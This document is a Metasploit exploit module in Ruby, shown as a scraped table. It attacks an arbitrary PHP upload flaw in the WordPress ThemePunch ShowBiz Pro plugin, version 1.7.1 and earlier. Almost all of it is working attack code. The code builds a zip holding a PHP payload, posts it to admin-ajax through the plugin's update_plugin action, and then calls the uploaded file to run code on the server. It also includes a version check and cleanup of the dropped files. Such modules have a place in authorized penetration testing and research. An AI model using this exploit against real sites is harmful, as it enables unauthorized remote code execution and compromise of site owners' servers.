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wpsploit/modules/exploits/unix/webapp/wp_showbiz_file_upload.rb /
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| ## | |
| # This module requires Metasploit: http://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'msf/core' | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = ExcellentRanking | |
| include Msf::Exploit::Remote::HTTP::Wordpress | |
| include Msf::Exploit::FileDropper | |
| def initialize(info = {}) | |
| super(update_info(info, | |
| 'Name' => 'WordPress ShowBiz Pro Upload Vulnerability', | |
| 'Description' => %q{ | |
| This module exploits an arbitrary PHP code upload in the WordPress ThemePunch | |
| ShowBiz Pro plugin, version 1.7.1 and prior. The vulnerability allows for | |
| arbitrary file upload and remote code execution. | |
| }, | |
| 'Author' => | |
| [ | |
| 'Simo Ben youssef', # Vulnerability Discovery | |
| 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module | |
| ], | |
| 'License' => MSF_LICENSE, | |
| 'References' => | |
| [ | |
| ['EDB', '35385'], | |
| ['WPVDB', '7955'], | |
| ['OSVDB', '115118'], | |
| ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability'] | |
| ], | |
| 'Privileged' => false, | |
| 'Platform' => 'php', | |
| 'Arch' => ARCH_PHP, | |
| 'Targets' => [['ThemePunch Showbiz Pro (showbiz) 1.7.1', {}]], | |
| 'DisclosureDate' => 'Nov 26 2015', | |
| 'DefaultTarget' => 0) | |
| ) | |
| end | |
| def check | |
| release_log_url = normalize_uri(wordpress_url_plugins, 'showbizpro', 'release_log.html') | |
| # TO DO: Rewrite check. Time sleep now. :) | |
| check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '1.7.2') | |
| end | |
| def exploit | |
| php_pagename = rand_text_alpha(4 + rand(4)) + '.php' | |
| payload_zip = Rex::Zip::Archive.new | |
| payload_zip.add_file('showbiz/' + php_pagename, payload.encoded) | |
| data = Rex::MIME::Message.new | |
| data.add_part('showbiz_ajax_action', nil, nil, 'form-data; name="action"') | |
| data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"') | |
| data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"showbiz.zip\"") | |
| post_data = data.to_s | |
| res = send_request_cgi( | |
| 'uri' => wordpress_url_admin_ajax, | |
| 'method' => 'POST', | |
| 'ctype' => "multipart/form-data; boundary=#{data.bound}", | |
| 'data' => post_data | |
| ) | |
| if res | |
| if res.code == 200 && res.body.include?('Update in progress') | |
| register_files_for_cleanup(php_pagename) | |
| register_files_for_cleanup('../showbiz.zip') | |
| print_good("#{peer} - Our payload is: #{php_pagename}") | |
| print_status("#{peer} - Calling payload...") | |
| send_request_cgi( | |
| 'uri' => normalize_uri(wordpress_url_plugins, 'showbiz', 'temp', 'update_extract', 'showbiz', php_pagename), | |
| 'timeout' => 5 | |
| ) | |
| elsif res.code == 200 && res.body =~ /^0$/ | |
| fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated") | |
| else | |
| fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") | |
| end | |
| else | |
| fail_with(Failure::Unknown, 'No response or response body, bailing.') | |
| end | |
| end | |
| end |